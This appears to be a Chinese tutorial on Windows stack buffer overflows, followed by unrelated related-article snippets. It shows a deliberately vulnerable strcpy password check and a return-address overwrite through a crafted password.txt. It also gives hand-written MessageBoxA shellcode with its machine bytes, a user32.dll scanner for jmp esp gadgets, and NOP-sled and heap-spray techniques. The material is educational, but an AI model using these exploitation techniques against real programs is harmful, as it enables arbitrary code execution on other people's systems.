ESP:该指针永远指向系统栈最上面一个栈帧的栈顶
 EBP:该指针永远指向系统栈最上面一个栈帧的底部
01  修改函数返回地址
  1. #include<stdio.h>
  2. #include<string.h>
  3. #define PASSWORD "1234567"
  4. int verify_password (char *password)
  5. {
  6. int authenticated;
  7. char buffer[8];
  8. authenticated=strcmp(password,PASSWORD);
  9. strcpy(buffer,password);
  10. return authenticated;
  11. }
  12. int main()
  13. {
  14. int valid_flag=0;
  15. char password[1024];
  16. while(1)
  17. {
  18. printf("please input password:");
  19. scanf("%s",password);
  20. valid_flag = verify_password(password);
  21. if(valid_flag)
  22. {
  23. printf("incorrenct\n");
  24. }
  25. else{
  26. printf("Congratulation\n");
  27. break;
  28. }
  29. }
  30. return 0;
  31. }
输入8个字符后结尾的NULL会覆盖authenticated

02  控制函数执行流程
  1. #include<stdio.h>
  2. #include<string.h>
  3. #define PASSWORD "1234567"
  4. int verify_password (char *password)
  5. {
  6. int authenticated;
  7. char buffer[8];
  8. printf("%p\n",&buffer);
  9. authenticated=strcmp(password,PASSWORD);
  10. strcpy(buffer,password);
  11. return authenticated;
  12. }
  13. int main()
  14. {
  15. int valid_flag=0;
  16. char password[1024];
  17. FILE *fp;
  18. if(!(fp=fopen("password.txt","rw+"))){
  19. exit(0);
  20. }
  21. fscanf(fp,"%s",password);
  22. valid_flag = verify_password(password);
  23. if(valid_flag)
  24. {
  25. printf("incorrenct password!\n");
  26. }
  27. else{
  28. printf("Congratulation\n");
  29. }
  30. fclose(fp);
  31. return 0;
  32. }
(1) 摸清楚栈中的状况,函数地址距离缓冲区的偏移量
      
    通过字符串搜索得到返回地址0x00401122
(2) 要得到程序中密码验证通过的指令地址,以便程序直接跳去这个分支执行
    需要逆序输入4个字节
    
(3) 要在password.txt文件的相应偏移处填上这个地址
    
    由于栈内EBP等被覆盖为无效值,使得程序在退出时堆栈无法平衡

03 向进程中植入代码
    1、Depends找到user32.dll基址 MessageBoxA偏移地址
        
     2、在汇编语言中调用这个函数需要获得这个函数的入口地址       
机器码     汇编     注释    
33DB     XOR EBX, EBX 压如NULL结尾的“failwest”字符串
53 PUSH EBX 之所以用EBX清零后入栈作为字符串的
6877657374 PUSH 6877657374 截断符,是为了避免“PUSH 0”中的NULL
686661696C PUSH 686661696C 否则植入的机器码会被strcpy函数截断
8BC4     MOV EAX, ESP EAX里是字符串指针    
53 PUSH EBX 4个参数按从右向左的顺序入栈    
50 PUSH EAX 分别是(0,failwest,failwest,0)
50 PUSH EAX
53 PUSH EBX
B8EA07D577    MOV EAX, 0x77D507EA  调用MessageBoxA  不同的机器这里的函数入口 
FFD0 CALL EAX 地址不同

基地址+偏移地址 = MessageBoxA在内存中的入口地址

    90后面填入buffer地址
    成功通过溢出调用了MessageBoxA
    
    ESP所指的位置恰好是我们所淹没的返回地址的下一个位置
   
 
**04  获取 “跳板” 的地址
    这种定位shellcode方法使进程空间里一条 jmp esp 指令作为跳板,不论栈帧怎么移位,都能跳回栈区
    获得 user32.dll 内跳转指令地址最直观的方法就是编程搜索内存
    
  1. #include<Windows.h>
  2. #include<stdio.h>
  3. #define DLL_NAME "user32.dll"
  4. int main()
  5. {
  6. BYTE* ptr;
  7. int position,address;
  8. HINSTANCE handle;
  9. BOOL done_flag = FALSE;
  10. handle = LoadLibrary(DLL_NAME);
  11. if(!handle)
  12. {
  13. printf(" load dll erro !");
  14. exit(0);
  15. }
  16. ptr = (BYTE*)handle;
  17. for(position = 0; !done_flag; position++)
  18. {
  19. try{
  20. if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
  21. {
  22. //0xFFE4 is the opcode of jmp esp
  23. int address = (int)ptr + postion;
  24. printf("OPCODE found at 0x%x\n",address);
  25. }
  26. }
  27. catch(...)
  28. {
  29. int address = (int)ptr + position;
  30. printf("END OF 0x%x\n", address);
  31. done_flag = true;
  32. }
  33. }
  34. return 0;
  35. }
    还可以用OllyUni.dll插件 http://cracklab.ru/olya/
    添加插件后,在c页面右键出现Overflew Return Address
    
    搜索完后,单击 “L” 可以在日志窗口中查看搜索结果
    为了让程序正常退出,需要用depends查找kernel32.dll中的ExitProcess的地址 
    
    写出shellcode的源代码
  1. #include<Windows.h>
  2. int main()
  3. {
  4. HINSTANCE LibHandle;
  5. char dllbuf[11] = "user32.dll";
  6. LibHandle = LoadLibrary(dllbuf);
  7. _asm{
  8. sub sp, 0x440
  9. xor ebx, ebx
  10. push ebx //cut string
  11. push 0x74736577
  12. push 0x6C696166
  13. mov eax, esp
  14. push ebx
  15. push eax
  16. push eax
  17. push ebx
  18. mov eax, 0x77D507EA
  19. call eax //call MessageBoxA
  20. push ebx
  21. mov eax, 0x7C81CAFA
  22. call eax //call exit(0)
  23. }
  24. }
    编译后在OD中打开,找到代码后dump:右键复制->到文件
    
    
  1. 33DB xor ebx,ebx
  2. 53 push ebx
  3. 68 77657374 push 0x74736577
  4. 68 6661696C push 0x6C696166
  5. 8BC4 mov eax,esp
  6. 53 push ebx
  7. 50 push eax
  8. 50 push eax
  9. 53 push ebx
  10. B8 EA07D577 mov eax,user32.MessageBoxA
  11. FFD0 call eax
  12. 53 push ebx
  13. B8 FACA817C mov eax,kernel32.ExitProcess
  14. FFD0 call eax

    
    在shellcode前加上jmp esp的地址
    
05  地址错位
    为了通用性,我们通常会在shellcode一开始就大范围抬高栈顶,从而达到保护自身安全的目的
    mov eax,esp 和 jmp eax 也可以完成进入栈区的功能
    扩大shellcode面积,提高命中率(函数返回时,只要能击中nop区shellcode就能执行)
    大面积“扫射”返回地址(用一大片返回地址来覆盖真正的返回地址,增加命中的成功率)
    解决字节错位:不同的主机会有不同的安装目录,可能导致覆盖的地址错位失效,使用按字节相同的双字节跳转地址,甚至可以使用堆中的地址,然后想办法将shellcode用堆扩展的办法放置在响应的区域,这种heap spray的办法经常在IE漏洞中使用

栈溢出原理与 shellcode 开发的更多相关文章

  1. OAuth的机制原理讲解及开发流程

    本想前段时间就把自己通过QQ OAuth1.0.OAuth2.0协议进行验证而实现QQ登录的心得及Demo实例分享给大家,可一直很忙,今天抽点时间说下OAuth1.0协议原理,及讲解下QQ对于Oaut ...

  2. Windows栈溢出原理

    1.栈是什么? 栈是一种运算受限的线性表 其限制是仅允许在表的一端进行插入和删除运算 这一端称为栈顶(TOP),相对的另一端称为栈底(BASE) 向一个栈插入新元素,称作进栈.入栈或压栈(PUSH) ...

  3. Zookeeper原理和实战开发经典视频教程 百度云网盘下载

    Zookeeper原理和实战开发 经典视频教程 百度云网盘下载 资源下载地址:http://pan.baidu.com/s/1o7ZjPeM   密码:r5yf   

  4. Shellcode开发辅助工具shellnoob

    Shellcode开发辅助工具shellnoob   Shellcode开发的过程中会遇到很多繁杂的工作,如编译.反编译.调试等.为了减少这部分工作,Kali Linux提供了开发辅助工具shelln ...

  5. VR原理讲解及开发入门

    本文是作者obuil根据多年心得专门为想要入门的VR开发者所写,由52VR网站提供支持.   1. VR沉浸感和交互作用产生的原理:   在之前,我们观看一个虚拟的创造内容是通过平面显示器的,52VR ...

  6. [转]VR原理讲解及开发入门

    本文转自:http://www.52vr.com/article-661-1.html 本文是作者obuil根据多年心得专门为想要入门的VR开发者所写,由52VR网站提供支持.   1. VR沉浸感和 ...

  7. springboot深入学习(二)-----profile配置、运行原理、web开发

    一.profile配置 通常企业级应用都会区分开发环境.测试环境以及生产环境等等.spring提供了全局profile配置的方式,使得在不同环境下使用不同的applicaiton.properties ...

  8. OAuth的机制原理讲解及开发流程(转)

    1.OAuth的简述 OAuth(Open Authorization,开放授权)是为用户资源的授权定义了一个安全.开放及简单的标准,第三方无需知道用户的账号及密码,就可获取到用户的授权信息,并且这是 ...

  9. 【转载】OAuth的机制原理讲解及开发流程

    1.OAuth的简述 OAuth(Open Authorization,开放授权)是为用户资源的授权定义了一个安全.开放及简单的标准,第三方无需知道用户的账号及密码,就可获取到用户的授权信息,并且这是 ...

随机推荐

  1. 更改 Windows 软件默认安装位置教程

    在打开的“运行”窗口中,输入命令regedit,然后点击确定按钮 计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion 百度 ...

  2. 【IDEA】【8】上传已有项目到Git

    问题:开发初期没有建立GIT仓库,开发一段时间后,需要将已有代码上传到Git 解决方案: 1,首先使用Git命令行 git clone XXXXX.git 将项目下载 2,拷贝下载下来的项目根目录下的 ...

  3. js字符串转日期兼容性

    今天遇到个bug,安卓上是好的,ios就不行.然后我就把可能用到的值都打印出来,发现日期比较一项在苹果机上就显示false,而谷歌浏览器是true.突然回忆起以前开发遇到过类似的问题,都是出在字符串转 ...

  4. python-爬虫框架scrapy

    一 介绍 Scrapy一个开源和协作的框架,其最初是为了页面抓取 (更确切来说, 网络抓取 )所设计的,使用它可以以快速.简单.可扩展的方式从网站中提取所需的数据.但目前Scrapy的用途十分广泛,可 ...

  5. jquery 表单提交不用action

    1.今天我做完事去看了一下别人的代码,不用我们很常规的写法.我想让我们来学习一下吧! <form class="form-inline form-mess">//内容在 ...

  6. leetcode-algorithms-18 4Sum

    leetcode-algorithms-18 4Sum Given an array nums of n integers and an integer target, are there eleme ...

  7. MySQL主从同步最佳实践

    #!/bin/bash export master_ip=192.168.7.206 export slave_ip=192.168.7.207 export root_passwd=123456   ...

  8. SQL 查询语句

    4.2 单表查询 4.2.1 列名(表名)的别名(as 可以不加) 给列名取别名既可以加 as 也可以不加. (2008 - Sage.lower(Sdept)等可计算但无列名,需要指定列名) 原列名 ...

  9. 一、I/O操作(流的概念)

    一.流(Stream) 所谓流(Stream),就是一系列的数据. 当不同的介质之间有数据交互的时候,java就会使用流来实现. 数据源可以使文件,还可以是数据库,网络,甚至是其他的程序 不如读取文件 ...

  10. py-faster R-CNN 用于训练自己的数据(1)

    官方给出的faster R-CNN的源码python版:https://github.com/rbgirshick/py-faster-rcnn 先来分析一下 整个文件,根目录下的文件 caffe-f ...